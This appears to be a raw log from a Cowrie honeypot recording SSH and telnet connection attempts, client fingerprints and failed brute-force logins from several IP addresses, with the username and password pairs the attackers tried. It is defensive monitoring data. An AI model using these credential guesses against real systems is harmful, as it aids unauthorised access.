{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:52:05.715351Z","src_ip":"2.57.122.208","session":"b64cd866d460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:52:06.825798Z","src_ip":"2.57.122.208","session":"b64cd866d460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:53:52.379148Z","src_ip":"14.103.116.0","session":"4f4d76f62e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48476,"dst_ip":"10.17.0.5","dst_port":22,"session":"edd23f44b08d","protocol":"ssh","message":"New connection: 2.57.122.208:48476 (10.17.0.5:22) [session: edd23f44b08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:54:18.772678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:54:18.873276Z","src_ip":"2.57.122.208","session":"edd23f44b08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:54:19.014223Z","src_ip":"2.57.122.208","session":"edd23f44b08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:54:20.061803Z","src_ip":"2.57.122.208","session":"edd23f44b08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:54:21.314773Z","src_ip":"2.57.122.208","session":"edd23f44b08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":62280,"dst_ip":"159.203.135.109","dst_port":22,"session":"78edc278bce9","protocol":"ssh","message":"New connection: 213.209.159.159:62280 (159.203.135.109:22) [session: 78edc278bce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:29.961747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:29.965941Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:30.049611Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae","message":"login attempt [shae/shae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:30.459020Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae1","message":"login attempt [shae/shae1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:31.546862Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae123","message":"login attempt [shae/shae123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:32.727836Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae1234","message":"login attempt [shae/shae1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:33.814743Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae12345","message":"login attempt [shae/shae12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:34.903255Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:55:35.993525Z","src_ip":"213.209.159.159","session":"78edc278bce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6b9cc8b4ee5","protocol":"ssh","message":"New connection: 2.57.122.208:44946 (10.17.0.5:22) [session: c6b9cc8b4ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:56:29.631295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:56:29.700332Z","src_ip":"2.57.122.208","session":"c6b9cc8b4ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:56:29.775161Z","src_ip":"2.57.122.208","session":"c6b9cc8b4ee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:56:30.209625Z","src_ip":"2.57.122.208","session":"c6b9cc8b4ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:56:31.340210Z","src_ip":"2.57.122.208","session":"c6b9cc8b4ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":9381,"dst_ip":"10.17.0.5","dst_port":22,"session":"be82a271d11c","protocol":"ssh","message":"New connection: 2.57.121.112:9381 (10.17.0.5:22) [session: be82a271d11c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:26.562388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:26.566145Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:26.671386Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01021971","message":"login attempt [admin/01021971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:27.166296Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01012012","message":"login attempt [admin/01012012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:28.276743Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0013","message":"login attempt [admin/0013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:29.386244Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000420","message":"login attempt [admin/000420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:30.494924Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000333","message":"login attempt [admin/000333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:31.603575Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:01:32.712100Z","src_ip":"2.57.121.112","session":"be82a271d11c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47466,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebd1d5687110","protocol":"ssh","message":"New connection: 2.57.122.208:47466 (159.203.135.109:22) [session: ebd1d5687110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:02:09.293159Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:02:09.398130Z","src_ip":"2.57.122.208","session":"ebd1d5687110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.47.24.94","src_port":60608,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe405ca541bf","protocol":"telnet","message":"New connection: 213.47.24.94:60608 (10.17.0.5:23) [session: fe405ca541bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:55.582026Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":39990,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74c1224cdc1","protocol":"ssh","message":"New connection: 139.19.117.129:39990 (159.203.135.109:22) [session: e74c1224cdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:56.633128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:56.636783Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:56.731265Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:56.918774Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:56.922748Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:57.017673Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:bd:05:81:a4:b9:f6:db:02:f1:ec:90:3a:b6:f9:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo2BYNo7XwDuIFJ3QhJyc6bxiDzi64jbpYNu/rCYfjgqXgwubI599wciCpVFyPGbzpMDsKVP31ChUEt2jv1FGcJZwZKI7fPlupuhJMkxY8yc8mqQrmLVlsYruZVgleNLoBvOIp7F478g0lwnKW568/5zU/6uQ9A1J5xW1l1Bw371r4ThphzcP2DJmnrqdbz1PS6/ZQ38qcoxNVB7hHca0miIJWMmYpAajXJBz7r35nvj957zA583oZgO7gWvoYf/LAj4ws7Td+KukILUoEKuD8YlA+qyoqL/7D+K2mAU0ccnrL3yq3hHQBpDkadzAyykmM/ih6veu6tnQEnKkVRpWn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:04:57.021930Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:06.633981Z","src_ip":"139.19.117.129","session":"e74c1224cdc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.432997465133667,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:09.014912Z","src_ip":"213.47.24.94","session":"fe405ca541bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.80.201.49","src_port":57076,"dst_ip":"159.203.135.109","dst_port":22,"session":"a98602d9c6b7","protocol":"ssh","message":"New connection: 40.80.201.49:57076 (159.203.135.109:22) [session: a98602d9c6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:25.316859Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:35.362186Z","src_ip":"40.80.201.49","session":"a98602d9c6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.80.201.49","src_port":47590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec073a8be352","protocol":"ssh","message":"New connection: 40.80.201.49:47590 (159.203.135.109:22) [session: ec073a8be352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:35.400926Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:35.405108Z","src_ip":"40.80.201.49","session":"ec073a8be352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:05:35.408399Z","src_ip":"40.80.201.49","session":"ec073a8be352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41968,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c13cbcdb7c6","protocol":"ssh","message":"New connection: 2.57.122.208:41968 (159.203.135.109:22) [session: 7c13cbcdb7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:06:23.232754Z"}
